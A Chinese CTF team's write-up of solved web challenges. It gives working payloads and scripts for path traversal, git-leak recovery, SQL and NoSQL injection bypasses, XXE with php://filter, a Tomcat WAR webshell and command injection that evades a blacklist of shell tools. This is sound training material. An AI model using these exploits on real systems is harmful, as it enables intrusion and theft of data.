飞书链接:https://icnewi51k2yp.feishu.cn/wiki/ILTowaErsibNHFkHL5ZcCMXUn9e

队伍名:legend

Web1

[问题 1 My_Hidden_Profile]

进入用户 1 空间后,注意到 uid 为 base64 编码

解码发现是时间戳:id 的格式

加上主页面的提示,管理员 id 为 999

于是构造 user1 的时间戳:999 的 base64 编码

get 提交 uid 即得 flag

[问题 2 HyperNode]

拿到题目,是一个读取文件的题

点击执行读取并抓包,id 会显示文件名,我们可以改成根目录下的旗帜

我们一开始访问绝对路径,显示被阻拦,后来访问相对路径

仍被阻拦

但在 Burp 中右键将路径 url 编码,访问成功,即得 flag

做题启示

在 URL 传到服务器之前,会进行一次且只有一次 URL 解码,URL 解码的规则非常固定:只识别并解析 %+ 两位十六进制数 这种格式的字符(比如 %2e、%2f、%75),其他所有字符(明文)都直接跳过,原样保留

检测分为网关(WAF)层检测和应用层检测,本题的检测属于网关层的检测,在 URL 解码之前检测

[问题 3 Static_Secret]

容器一开始直接提供了个 nc 连接

我们写一个脚本来访问常用地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import socket

host = "39.106.48.123"
port = 23011

payloads = [
"/flag",
"/../flag",
"/../../flag",
"/../../../flag",
"/..%2fflag",
"/%2e%2e/flag",
"/%252e%252e/flag",
"/static/../flag",
"/./flag",
"/flag/../flag",
"/?file=flag",
"/index.html/../../flag",
]

for path in payloads:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
req = f"GET {path} HTTP/1.1\r\nHost: localhost\r\n\r\n"
s.send(req.encode())
resp = s.recv(4096).decode(errors='ignore')
s.close()
if "404" not in resp and "400" not in resp:
print(f"Found: {path}")
print(resp[:500])
break
else:
print(f"Failed: {path}")

发现 file=flag 回显成功

于是再次构造遍历脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import socket
s = socket.socket()
s.connect(("39.106.48.123", 23011))
s.send(b"GET /?file=flag HTTP/1.1\r\nHost: localhost\r\n\r\n")
print(s.recv(4096).decode())
s.close()

import socket

host = "39.106.48.123"
port = 23011

def send_request(path):
s = socket.socket()
s.connect((host, port))
req = f"GET {path} HTTP/1.1\r\nHost: localhost\r\n\r\n"
s.send(req.encode())
resp = s.recv(4096).decode(errors='ignore')
s.close()
return resp

# 1. 先看 /static/index.html
print("Testing /static/index.html")
resp = send_request("/static/index.html")
print(resp[:300])
print("-" * 50)

# 2. 尝试目录遍历
paths = [
"/static/../../flag",
"/static/../../../flag",
"/static/..%2f..%2fflag",
"/static/%2e%2e/%2e%2e/flag",
"/static/flag",
"/static/lnk_flag",
"/static/link",
"/static/flag.txt",
"/static/flag.so",
]

for p in paths:
resp = send_request(p)
if "404" not in resp and "400" not in resp:
print(f"Possible success: {p}")
print(resp[:500])
break
else:
print(f"Failed: {p}")

# 3. 检查 /static/ 目录列表
print("\nTesting /static/")
resp = send_request("/static/")
print(resp[:500])

找到成功的路径

访问其回显的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import socket

host = "39.106.48.123"
port = 23011

s = socket.socket()
s.connect((host, port))
req = b"GET /static/../../flag HTTP/1.1\r\nHost: localhost\r\n\r\n"
s.send(req)

# 收数据直到收完
data = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
# 根据 Content-Length 判断收完
if b"Content-Length: 44" in data:
# 找到空行分隔 header 和 body
parts = data.split(b"\r\n\r\n", 1)
if len(parts) == 2:
body = parts[1]
if len(body) >= 44:
break

s.close()

# 打印 body 的原始字节和字符串
parts = data.split(b"\r\n\r\n", 1)
if len(parts) == 2:
body = parts[1]
print("Body raw:", body)
print("Body decoded:", body.decode())
else:
print("Raw response:", data)

通过

[问题 4 Dev’s Regret]

读题,进来什么也没有

使用 dirsearch 扫盘,发现 git 泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[11:57:54] 301 -   169B - /.git  ->  http://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/.git/
[11:57:54] 200 - 27B - /.git/COMMIT_EDITMSG
[11:57:54] 200 - 163B - /.git/branches/
[11:57:54] 200 - 1KB - /.git/
[11:57:54] 200 - 23B - /.git/HEAD
[11:57:54] 200 - 73B - /.git/description
[11:57:54] 200 - 2KB - /.git/hooks/
[11:57:54] 200 - 171B - /.git/config
[11:57:54] 200 - 325B - /.git/index
[11:57:54] 200 - 41B - /.git/refs/heads/master
[11:57:54] 200 - 320B - /.git/logs/refs/heads/master
[11:57:54] 200 - 320B - /.git/logs/HEAD
[11:57:54] 200 - 240B - /.git/info/exclude
[11:57:54] 200 - 59B - /.git/info/refs
[11:57:54] 200 - 374B - /.git/logs/
[11:57:54] 200 - 1B - /.git/objects/info/packs
[11:57:54] 200 - 376B - /.git/refs/
[11:57:54] 200 - 1KB - /.git/objects/
[11:57:54] 200 - 376B - /.git/info/
[11:57:54] 301 - 169B - /.git/logs/refs -> http://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/.git/logs/refs/
[11:57:54] 301 - 169B - /.git/logs/refs/heads -> http://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/.git/logs/refs/heads/
[11:57:54] 301 - 169B - /.git/refs/heads -> http://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/.git/refs/heads/
[11:57:54] 301 - 169B - /.git/refs/tags -> http://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/.git/refs/tags/
[11:58:11] 200 - 131B - /index.html
[11:58:17] 200 - 37B - /README.md
[11:58:20] 403 - 555B - /src/
[11:58:20] 301 - 169B - /src -> http://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/src/

访问 .git/logs/HEAD,得到

访问这个路由,得到

这应该是 commit 对象

利用脚本提取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
import requests
import zlib
import sys

url = "https://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/.git/objects/19/ce8104322484c40b5da8089c2ae233d740420a"

try:
print(f"[*] 正在下载commit对象...")
response = requests.get(url, verify=False, timeout=10)

if response.status_code == 200:
print(f"[+] 下载成功,大小: {len(response.content)} bytes")

# 解压git对象
try:
decompressed = zlib.decompress(response.content)
print("\n[+] Commit对象内容:")
print("=" * 50)
print(decompressed.decode('utf-8'))
print("=" * 50)

# 提取tree哈希
lines = decompressed.decode('utf-8').split('\n')
for line in lines:
if line.startswith('tree '):
tree_hash = line.split()[1]
print(f"\n[*] Tree哈希: {tree_hash}")

# 下载tree对象
tree_url = f"https://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/.git/objects/{tree_hash[:2]}/{tree_hash[2:]}"
tree_resp = requests.get(tree_url, verify=False, timeout=10)
if tree_resp.status_code == 200:
tree_data = zlib.decompress(tree_resp.content)
print(f"\n[*] Tree对象大小: {len(tree_data)} bytes")

# 解析tree对象
print("\n[*] 解析tree中的文件...")
i = 0
while i < len(tree_data):
null_pos = tree_data.find(b'\x00', i)
if null_pos == -1:
break

mode_name = tree_data[i:null_pos].decode('utf-8', errors='ignore')
parts = mode_name.split()
if len(parts) >= 2:
mode, name = parts[0], parts[1]
hash_start = null_pos + 1
file_hash = tree_data[hash_start:hash_start+20].hex()

print(f" - {mode} {file_hash} {name}")

# 下载文件内容
file_url = f"https://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/.git/objects/{file_hash[:2]}/{file_hash[2:]}"
file_resp = requests.get(file_url, verify=False, timeout=10)
if file_resp.status_code == 200:
file_content = zlib.decompress(file_resp.content)
# 提取blob的实际内容(去掉头部)
null_pos_file = file_content.find(b'\x00')
if null_pos_file != -1:
actual_content = file_content[null_pos_file+1:]
print(f" 内容预览: {actual_content[:100]}...")
# 保存文件
with open(name, 'wb') as f:
f.write(actual_content)
print(f" 已保存为: {name}")

i = hash_start + 20
else:
break

except zlib.error as e:
print(f"[-] 解压失败: {e}")
print(f"[*] 原始内容 (hex): {response.content[:100].hex()}...")

elif response.status_code == 404:
print("[-] 404 Not Found - 对象可能不存在或路径错误")
else:
print(f"[-] HTTP {response.status_code}: {response.text[:100]}")

except requests.exceptions.SSLError:
print("[-] SSL证书错误,尝试使用verify=False")
except Exception as e:
print(f"[-] 错误: {e}")

查看程序响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[*] 正在下载commit对象...
C:\Users\legen\AppData\Local\Programs\Python\Python314\Lib\site-packages\urllib3\connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
warnings.warn(
[+] 下载成功,大小: 162 bytes

[+] Commit对象内容:
==================================================
commit 217tree d8ee21ae894000b6ef5b3160ec9c95a66419d35b
parent 76fa751cbd79d9259b51c072830243b95a63b13f
author dev <dev@example.com> 1704153600 +0000
committer dev <dev@example.com> 1704153600 +0000

Remove sensitive flag file

==================================================

发现 flag 被删除了

并得到:

  1. Tree 哈希: d8ee21ae894000b6ef5b3160ec9c95a66419d35b
  2. Parent commit 哈希: 76fa751cbd79d9259b51c072830243b95a63b13f

利用脚本比较 commit 和 parent commit,找到 Parent commit 的 tree 哈希

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/env python3
import requests
import zlib
import os

def download_object(hash_val):
url = f"https://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/.git/objects/{hash_val[:2]}/{hash_val[2:]}"
resp = requests.get(url, verify=False)
if resp.status_code == 200:
return zlib.decompress(resp.content)
return None

def parse_tree(tree_data):
files = []
i = 0
while i < len(tree_data):
null_pos = tree_data.find(b'\x00', i)
if null_pos == -1:
break
mode_name = tree_data[i:null_pos].decode()
parts = mode_name.split()
if len(parts) >= 2:
name = parts[1]
file_hash = tree_data[null_pos+1:null_pos+21].hex()
files.append((name, file_hash))
i = null_pos + 21
return files

def save_file(filename, content):
# 移除git对象头 'blob <size>\x00'
null_pos = content.find(b'\x00')
if null_pos != -1:
file_content = content[null_pos+1:]
with open(filename, 'wb') as f:
f.write(file_content)
print(f"[+] 保存文件: {filename}")
# 显示文本内容预览
try:
text_preview = file_content[:200].decode('utf-8', errors='ignore')
if 'flag' in text_preview.lower() or 'ctf' in text_preview.lower():
print(f" 可能包含flag: {text_preview[:100]}...")
except:
pass

# 1. 下载parent commit
print("[*] 下载parent commit...")
parent_data = download_object("76fa751cbd79d9259b51c072830243b95a63b13f")
if parent_data:
parent_text = parent_data.decode()
print("[+] Parent commit内容:")
print(parent_text)

# 提取parent的tree哈希
for line in parent_text.split('\n'):
if line.startswith('tree '):
parent_tree_hash = line.split()[1]
print(f"\n[*] Parent tree哈希: {parent_tree_hash}")

# 2. 下载parent tree
print("[*] 下载parent tree...")
parent_tree_data = download_object(parent_tree_hash)
if parent_tree_data:
parent_files = parse_tree(parent_tree_data)
print(f"[+] Parent tree中的文件 ({len(parent_files)}个):")
for name, hash_val in parent_files:
print(f" - {name} ({hash_val})")

# 3. 下载这些文件(特别是可能包含flag的)
if 'flag' in name.lower() or name in ['flag', 'flag.txt', '.flag', 'secret', 'key']:
print(f"[*] 下载可疑文件: {name}")
file_data = download_object(hash_val)
if file_data:
save_file(f"parent_version_{name}", file_data)

# 下载所有文件以便检查
file_data = download_object(hash_val)
if file_data:
save_file(f"recovered_{name}", file_data)

# 4. 对比当前tree
print("\n[*] 下载当前tree...")
current_tree_data = download_object("d8ee21ae894000b6ef5b3160ec9c95a66419d35b")
if current_tree_data:
current_files = parse_tree(current_tree_data)
print(f"[+] 当前tree中的文件 ({len(current_files)}个):")
for name, hash_val in current_files:
print(f" - {name}")

# 找出被删除的文件
parent_file_names = [name for name, _ in parent_files]
current_file_names = [name for name, _ in current_files]
deleted_files = set(parent_file_names) - set(current_file_names)

if deleted_files:
print(f"\n[!] 发现被删除的文件: {deleted_files}")
print(" 这些文件可能包含flag!")

# 下载被删除的文件
for name, hash_val in parent_files:
if name in deleted_files:
print(f"[*] 恢复被删除的文件: {name}")
file_data = download_object(hash_val)
if file_data:
save_file(f"deleted_{name}", file_data)
1
2
3
4
5
6
7
8
9
[*] 下载parent commit...
C:\Users\legen\AppData\Local\Programs\Python\Python314\Lib\site-packages\urllib3\connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
warnings.warn(
[+] Parent commit内容:
commit 167tree 9200f5c08a0c6986fba9b48664ca87016d8c6702
author dev <dev@example.com> 1704067200 +0000
committer dev <dev@example.com> 1704067200 +0000

Initial commit with flag

找到了 Parent commit 的 tree 哈希: 9200f5c08a0c6986fba9b48664ca87016d8c6702

并发现这个提交包含 flag

接着用命令行下载 parent tree

1
curl -k "https://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/.git/objects/92/00f5c08a0c6986fba9b48664ca87016d8c6702" -o parent_tree.bin

解压 parent tree 中文件,注意文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import zlib

# 读取并解压tree文件
with open('C:\\Users\\legen\\Desktop\\CTF\\GitHack-master\\GitHack-master\\eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com_80\\parent_tree.bin', 'rb') as f:
compressed_data = f.read()

try:
# 解压git对象
decompressed = zlib.decompress(compressed_data)
print(f"解压后大小: {len(decompressed)} 字节")

# 解析tree对象
print("\n解析tree中的文件:")
i = 0
file_count = 0

while i < len(decompressed):
# 找到mode和文件名结束的位置(null字节)
null_pos = decompressed.find(b'\x00', i)
if null_pos == -1:
break

# 提取mode和文件名
mode_name_part = decompressed[i:null_pos]
mode_name = mode_name_part.decode('utf-8', errors='ignore')

# 提取文件的哈希值(20字节)
hash_start = null_pos + 1
hash_end = hash_start + 20
if hash_end > len(decompressed):
break

file_hash = decompressed[hash_start:hash_end].hex()

# 打印文件信息
parts = mode_name.split()
if len(parts) >= 2:
mode = parts[0]
filename = parts[1]
print(f" {file_count+1}. {filename}")
print(f" 模式: {mode}")
print(f" 哈希: {file_hash}")

# 检查是否是flag相关文件
if 'flag' in filename.lower():
print(f" [!] 可能是flag文件!")

file_count += 1

# 移动到下一个文件
i = hash_end

print(f"\n总共找到 {file_count} 个文件")

except zlib.error as e:
print(f"解压错误: {e}")
print("原始数据 (hex):")
print(compressed_data.hex())

发现 flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
1. 141
模式: tree
哈希: 31303036343420524541444d452e6d64000a082b
2. flag.txt
模式: U9Dǔ=DF100644
哈希: ab078900450d5762f3b36198022b74d6118895c3
[!] 可能是flag文件!
3. index.html
模式: 100644
哈希: 1014bc8db48a5a5d50f31ca65b36811f76da6ac2
4. src
模式: 40000
哈希: 74fe698dd5878438ac56483c6401604ad44ddb6e

输入 flag.txt 的哈希值,利用脚本阅读,即得答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import zlib

# flag.txt的文件哈希
file_hash = "ab078900450d5762f3b36198022b74d6118895c3"
url = f"https://eci-2ze3hhnmkjgcglt4e639.cloudeci1.ichunqiu.com/.git/objects/{file_hash[:2]}/{file_hash[2:]}"

print(f"[*] 下载flag.txt...")
response = requests.get(url, verify=False)

if response.status_code == 200:
print(f"[+] 下载成功,大小: {len(response.content)} 字节")

try:
# 解压git对象
decompressed = zlib.decompress(response.content)
print(f"[+] 解压后大小: {len(decompressed)} 字节")

# git对象格式: "blob <size>\x00<content>"
# 找到null字节分隔符
null_pos = decompressed.find(b'\x00')
if null_pos != -1:
# 提取实际文件内容
file_content = decompressed[null_pos+1:]
print("\n" + "="*50)
print("flag.txt 内容:")
print("="*50)
print(file_content.decode('utf-8'))
print("="*50)
else:
print("[-] 无法解析文件格式")
print("原始数据:", decompressed[:100])

except zlib.error as e:
print(f"[-] 解压错误: {e}")
print("原始数据 (hex):", response.content[:50].hex())

else:
print(f"[-] 下载失败: HTTP {response.status_code}")

[问题 5 EZSQL]

判断闭合方式为单引号

通过试错,发现表名为 flag,列名为 flag,采用报错注入并用以下方法绕过 WAF:

|| 绕过 or;

` 绕过空格

‘||EXTRACTVALUE(2,CONCAT(‘~’,(SUBSTR((SELECT flag FROM flag),1,30))))||’

‘||EXTRACTVALUE(2,CONCAT(‘~’,(SUBSTR((SELECT(SELECT flag FROM flag)FROM flag),16,30))))||’

做题启示

1.|| 绕过 or;

2.` 绕过空格

3.SUBSTR 打破限制

[问题 6 NoSQL_Login]

用户名:admin

密码:{“$ne”: null

登录即得答案

[问题 7 CORS]

点击 Check My Salary,用 Burp 抓包

发现 cookie 为 base64 编码,解码即得 flag

Web2

[问题 1 Hello User]

SSTI

用 fenjing 连接,输入 ls 看到 flag.txt

cat /fl*带出来即可

[问题 2 RSS_Parser]

进入网站,为 xml 解析器

尝试按格式输 XML,读 flag

无果,后面用目录遍历等方式,仍然无果

有显示主页的路径,于是尝试读主页源码

仍然报错,于是想到用 file 协议读,主页 php 文件的内部脚本很可能会因为执行发生错误

我们改用 php 方式读取

1
<!ENTITY src SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php">
1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY src SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php">
]>
<rss version="2.0">
<channel>
<title>&src;</title>
</channel>
</rss>

得到源码,在第十行

1
2
3
4
5
6
7
8
9
10
11
12
13
SimpleXMLElement Object
(
[@attributes] => Array
(
[version] => 2.0
)

[channel] => SimpleXMLElement Object
(
[title] => PD9waHAKJEZMQUcgPSBnZXRlbnYoJ0lDUV9GTEFHJykgPzogJ2ZsYWd7dGVzdF9mbGFnfSc7CmZpbGVfcHV0X2NvbnRlbnRzKCcvdG1wL2ZsYWcudHh0JywgJEZMQUcpOwo/Pgo8IURPQ1RZUEUgaHRtbD4KPGh0bWw+CjxoZWFkPgogICAgPHRpdGxlPlJTUyBQYXJzZXI8L3RpdGxlPgogICAgPHN0eWxlPgogICAgICAgIGJvZHkgeyBmb250LWZhbWlseTogQXJpYWw7IG1heC13aWR0aDogODAwcHg7IG1hcmdpbjogNTBweCBhdXRvOyBwYWRkaW5nOiAyMHB4OyB9CiAgICAgICAgdGV4dGFyZWEgeyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAyMDBweDsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgfQogICAgICAgIGJ1dHRvbiB7IHBhZGRpbmc6IDEwcHggMjBweDsgYmFja2dyb3VuZDogIzAwN2JmZjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IG5vbmU7IGN1cnNvcjogcG9pbnRlcjsgfQogICAgICAgIC5yZXN1bHQgeyBtYXJnaW4tdG9wOiAyMHB4OyBwYWRkaW5nOiAxNXB4OyBiYWNrZ3JvdW5kOiAjZjVmNWY1OyBib3JkZXItcmFkaXVzOiA1cHg7IH0KICAgIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8aDE+8J+ToSBSU1MgRmVlZCBQYXJzZXI8L2gxPgogICAgPHA+U3VibWl0IHlvdXIgUlNTIGZlZWQgVVJMIGFuZCB3ZSdsbCBwYXJzZSBpdCBmb3IgeW91ITwvcD4KICAgIAogICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICA8aDM+UlNTIEZlZWQgWE1MOjwvaDM+CiAgICAgICAgPHRleHRhcmVhIG5hbWU9InJzcyIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgUlNTIFhNTCBoZXJlLi4uIj48L3RleHRhcmVhPgogICAgICAgIDxicj48YnI+CiAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlBhcnNlIFJTUzwvYnV0dG9uPgogICAgPC9mb3JtPgogICAgCiAgICA8P3BocAogICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcgJiYgaXNzZXQoJF9QT1NUWydyc3MnXSkpIHsKICAgICAgICAkcnNzX2NvbnRlbnQgPSAkX1BPU1RbJ3JzcyddOwogICAgICAgIAogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9InJlc3VsdCI+JzsKICAgICAgICBlY2hvICc8aDM+UGFyc2luZyBSZXN1bHQ6PC9oMz4nOwogICAgICAgIAogICAgICAgIC8vIOa8j+a0nuS7o+egge+8muacquemgeeUqOWklumDqOWunuS9kwogICAgICAgIGxpYnhtbF9kaXNhYmxlX2VudGl0eV9sb2FkZXIoZmFsc2UpOwogICAgICAgIAogICAgICAgIHRyeSB7CiAgICAgICAgICAgICR4bWwgPSBzaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHJzc19jb250ZW50LCAnU2ltcGxlWE1MRWxlbWVudCcsIExJQlhNTF9OT0VOVCk7CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoJHhtbCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxwIHN0eWxlPSJjb2xvcjpyZWQiPkZhaWxlZCB0byBwYXJzZSBYTUwhPC9wPic7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBlY2hvICc8cCBzdHlsZT0iY29sb3I6Z3JlZW4iPlJTUyBwYXJzZWQgc3VjY2Vzc2Z1bGx5ITwvcD4nOwogICAgICAgICAgICAgICAgZWNobyAnPHByZT4nIC4gaHRtbHNwZWNpYWxjaGFycyhwcmludF9yKCR4bWwsIHRydWUpKSAuICc8L3ByZT4nOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgIGVjaG8gJzxwIHN0eWxlPSJjb2xvcjpyZWQiPkVycm9yOiAnIC4gaHRtbHNwZWNpYWxjaGFycygkZS0+Z2V0TWVzc2FnZSgpKSAuICc8L3A+JzsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgIH0KICAgID8+CiAgICAKICAgIDxkaXYgc3R5bGU9Im1hcmdpbi10b3A6IDMwcHg7IHBhZGRpbmc6IDE1cHg7IGJhY2tncm91bmQ6ICNmZmYzY2Q7IGJvcmRlci1sZWZ0OiA0cHggc29saWQgI2ZmYzEwNzsiPgogICAgICAgIDxzdHJvbmc+8J+SoSBIaW50Ojwvc3Ryb25nPiBUaGlzIHBhcnNlciBhY2NlcHRzIGFueSB2YWxpZCBYTUwvUlNTIGZvcm1hdC4gCiAgICAgICAgWE1MIGNhbiBiZSB2ZXJ5IHBvd2VyZnVsLi4uIG1heWJlIHRvbyBwb3dlcmZ1bD8KICAgIDwvZGl2PgogICAgCiAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOiAxNXB4OyBwYWRkaW5nOiAxNXB4OyBiYWNrZ3JvdW5kOiAjZDFlY2YxOyBib3JkZXItbGVmdDogNHB4IHNvbGlkICMxN2EyYjg7Ij4KICAgICAgICA8c3Ryb25nPkV4YW1wbGUgUlNTOjwvc3Ryb25nPgogICAgICAgIDxwcmU+Jmx0Oz94bWwgdmVyc2lvbj0iMS4wIj8mZ3Q7CiZsdDtyc3MgdmVyc2lvbj0iMi4wIiZndDsKICAmbHQ7Y2hhbm5lbCZndDsKICAgICZsdDt0aXRsZSZndDtNeSBGZWVkJmx0Oy90aXRsZSZndDsKICAgICZsdDtpdGVtJmd0OwogICAgICAmbHQ7dGl0bGUmZ3Q7VGVzdCBJdGVtJmx0Oy90aXRsZSZndDsKICAgICZsdDsvaXRlbSZndDsKICAmbHQ7L2NoYW5uZWwmZ3Q7CiZsdDsvcnNzJmd0OzwvcHJlPgogICAgPC9kaXY+CjwvYm9keT4KPC9odG1sPgo=
)

)

对其解码,获得头部关键信息

访问正确的路由并解码。即得答案

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY src SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/flag.txt">
]>
<rss version="2.0">
<channel>
<title>&src;</title>
</channel>
</rss>

[问题 3 Forgotten_Tomcat]

Tomcat 漏洞,利用 admin/password 弱口令进入后台

编写木马 jsp

先打包成 zip,再改拓展名为 war,得到文件 cmd.war;接着于此上传,点击部署

访问 https://eci-2zeco2wi1ova90dnct1i.cloudeci1.ichunqiu.com/cmd/cmd.jsp

拿到 shell,通过 ls 查询到 flag 的位置,并成功打印

[问题 4 Server_Monitor]

这题是真的,一个需要耐心的目录遍历 RCE,学到了很多东西

一进题什么也没有

通过 dirsearch 扫盘,发现路由/assets

打开文件 script.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const ctx = document.getElementById('latencyChart').getContext('2d');
const chart = new Chart(ctx, {
type: 'line',
data: {
labels: ['0s', '3s', '6s', '9s', '12s'],
datasets: [{
label: 'Latency (Google DNS)',
data: [12, 19, 15, 17, 14],
borderColor: '#00aaff',
tension: 0.4
}]
},
options: { responsive: true }
});

function checkSystemLatency() {
const statusDiv = document.getElementById('ping-status');

const formData = new FormData();
formData.append('target', '8.8.8.8');

fetch('api.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if(data.status === 'success') {
statusDiv.innerText = `Last check: ${data.output} ms`;
} else {
console.warn('Monitor Error:', data.message);
}
})
.catch(err => console.error('API Error', err));
}

setInterval(checkSystemLatency, 5000);

发现是一个命令拼接,路由为 api,形式为 post

我们用 curl 的方法进行请求

1
curl -X POST https://eci-2zej68f55x2uj34zmabn.cloudeci1.ichunqiu.com/api.php --form-string "target=;ls

回显

1
{"status":"success","output":0,"debug":"api.php\nassets\nindex.php\n"}

直接输 cat /flag,被拒

1
{"status":"error","message":"Security Alert: Malicious input detected."}

直接访问 api.php,发现黑名单

1
{"status":"success","output":0,"debug":"<?php\r\nerror_reporting(0);\r\nheader('Content-Type: application\/json');\r\n\r\nif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['target'])) {\r\n    $target = $_POST['target'];\r\n    \r\n\r\n    $blacklist = \"\/ |\\\/|\\*|\\?|<|>|cat|more|less|head|tail|tac|nl|od|vi|vim|sort|uniq|flag|base64|python|bash|sh\/i\";\r\n    \r\n    if (preg_match($blacklist, $target)) {\r\n        echo json_encode([\r\n            'status' => 'error', \r\n            'message' => 'Security Alert: Malicious input detected.'\r\n        ]);\r\n        exit;\r\n    }\r\n\r\n\r\n    $cmd = \"ping -c 1 \" . $target;\r\n    \r\n\r\n    $output = shell_exec($cmd);\r\n    \r\n\r\n    if ($output) {\r\n        preg_match(\"\/time=([0-9.]+) ms\/\", $output, $matches);\r\n        $time = isset($matches[1]) ? $matches[1] : 0;\r\n        \r\n        echo json_encode([\r\n            'status' => 'success',\r\n            'output' => $time,     \r\n            'debug' => $output     \r\n        ]);\r\n    } else {\r\n        echo json_encode(['status' => 'error', 'message' => 'Host unreachable']);\r\n    }\r\n} else {\r\n    echo json_encode(['status' => 'error', 'message' => 'Invalid Request']);\r\n}\r\n?>\r\n"}

由于正斜杠被禁用,我们只能用 cd 和多指令方法进行目录拼接,同时用单引号绕过字符串匹配,通过

1
curl -X POST https://eci-2zej68f55x2uj34zmabn.cloudeci1.ichunqiu.com/api.php --form-string "target=;cd${IFS}..;cd${IFS}..;cd${IFS}..;sed${IFS}'p'${IFS}fl''ag
1
{"status":"success","output":0,"debug":"flag{c7971628-d751-4261-9f72-3aa84b4c99aa}\nflag{c7971628-d751-4261-9f72-3aa84b4c99aa}\n"}

做题启示

1.黑盒的时候可以先用 cat 来查看源码

2.斜杠被禁用时可以用 cd 加分号拼接做到目录遍历

3.’’绕过特定字符串过滤一定要强化强化

4.curl 的 POST 方法值得学习

[问题 5 Magic_Methods]

一个很简单的反序列化 POP 链问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
highlight_file(__FILE__);

class CmdExecutor {
public $cmd;

public function work() {
system($this->cmd);
}
}

class MiddleMan {
public $obj;

public function process() {
$this->obj->work();
}
}

class EntryPoint {
public $worker;

public function __destruct() {
$this->worker->process();
}
}

if (isset($_GET['payload'])) {
$data = $_GET['payload'];
unserialize($data);
} else {
echo "";
}
?>

